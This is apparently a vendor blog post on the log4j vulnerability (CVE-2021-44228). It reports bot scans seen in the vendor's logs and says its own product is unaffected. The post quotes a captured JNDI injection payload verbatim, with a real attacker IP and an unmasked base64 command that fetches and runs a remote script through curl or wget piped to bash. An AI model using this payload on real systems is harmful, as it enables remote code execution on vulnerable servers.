By now you will no doubt have heard of the 0-day vulnerability in log4j.
CVE-2021–44228 has been assigned a Critical severity by the log4j team with a base CVSS score of 10.0. Here’s their extremely abridged description of the issue:
An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.
Active scanners looking for this vulnerability
There are reports of bots actively scanning for this exploit, and we can see them in UX Forms’ logs.
These requests typically take the form of a malformed User-Agent HTTP header, as it’s an extremely easy value to change and has a high chance of being logged by the receiving service. E.g.
User-Agent: “{jndi:ldap://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC81Mi40OC4yMDguMjk6NDQzfHx3Z2V0IC1xIC1PLSA0NS4xNTUuMjA1LjIzMzo1ODc0LzUyLjQ4LjIwOC4yOTo0NDMpfGJhc2g=}”
Decoding the end of that path shows us what the exploit is attempting to run:
(curl -s xx.xxx.xxx.xxx:5874/xx.xx.xxx.xx:443||wget -q -O- xx.xxx.xxx.xxx:5874/xx.xx.xxx.xx:443)|bash
(Digits in the real IP address have been masked with x to avoid any mistaken copy-paste-execute-it-for-real mistakes)
In short, it’s trying to download a script from a remote endpoint on to our server then execute it in the server’s terminal. Not cool.
No impact on UX Forms
The good news is that no components in UX Forms have any version of log4j in their classpath, either as a first-degree or transitive dependency. Therefore no components of UX Forms are at risk from this exploit.
We will continue to monitor the situation, both of this specific exploit, and to be aware of any other related vulnerabilities that are discovered during the coming days and weeks.
Want to know more?
Come have a look around https://uxforms.com, follow UX Forms on twitter, LinkedIn, or email us at hello@uxforms.com and see how we can make your forms better, together.
